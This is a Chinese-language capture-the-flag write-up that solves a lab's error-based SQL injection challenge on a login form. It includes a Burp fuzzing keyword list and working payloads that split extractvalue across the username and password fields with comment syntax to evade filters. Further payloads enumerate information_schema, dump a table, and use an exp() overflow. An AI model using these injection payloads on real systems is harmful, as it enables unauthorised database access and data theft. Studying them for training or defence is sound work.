zoukankan      html  css  js  c++  java
  • 实验吧——加了料的报错注入(exp报错注入)

    题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php

    先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询

    测试了一个报错函数发现如下回显,可见屏蔽了报错信息,也有可能是监测到了updatexml这个报错函数,于是先用burp来fuzzing测试一波,看看哪些关键字

    被屏蔽了

    burp抓包并send to intruder

    分别对username和password进行fuzzing测试,这里演示username的,设置完后点击start attact

     

    fuzzing测试的字典我是自己写的,就写了些常见的关键字,你们可以将就用下

    and
    or
    =
    >
    <
    (
    )
    ()
    '
    "
    regexp
    substr
    mid
    left
    join
    rigth
    like
    select
    from
    union
    ,
    updatexml
    extractvalue
    exp
    char
    ascii
    insert
    into
    delete
    update
    alter
    create
    where
    /*
    */
    -- 
    --
    #
    all
    distinct
    not
    as
    order
    by
    desc
    asc
    having
    floor
    geometrycollection
    polygon
    multipoint
    multilinestring
    linestring
    multipolygon

    最后得出username处屏蔽了括号,=,substr 等等关键字

    而password屏蔽了如updatexml,extractvalue等等会产生报错的函数,还有union,like 等等

     

    似乎有点矛盾,想要报错注入,必须要构造一个报错函数,函数名 和 括号 缺一不可,但是两个注入点都不满足条件。但是可以将两个注入点“打通”,前者函数名,后者括号不就行了?于是构造如下

    username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '

    后台的查询语句就为

    select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '

    去掉注释即为

    select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '

    然后猜解表名,因为password屏蔽了=,所以用regexp

    username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '

    猜解列名

    username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '

    猜解字段

    username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '

    这道题其实对于报错函数的过滤还有一个漏网之鱼——exp()

    详见http://netsecurity.51cto.com/art/201508/489529.htm

    所以构造

    username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '

  • 相关阅读:
    浅谈REST[转]
    linuxyum
    XAMPPAccess denied for user 'root'@'localhost' (using password:YES)....& can't connect to localhost...
    ps aux详细解释【转】
    TOP 10:值得关注的十家云计算公司【转】
    isnull在数据库查询中的应用
    正则匹配代码
    推荐一款生成SQL插入语句的软件
    网页自动刷新
    执行SQL脚本语句判断是否已经存在
  • 原文地址:https://www.cnblogs.com/leixiao-/p/9753810.html
Copyright © 2011-2022 走看看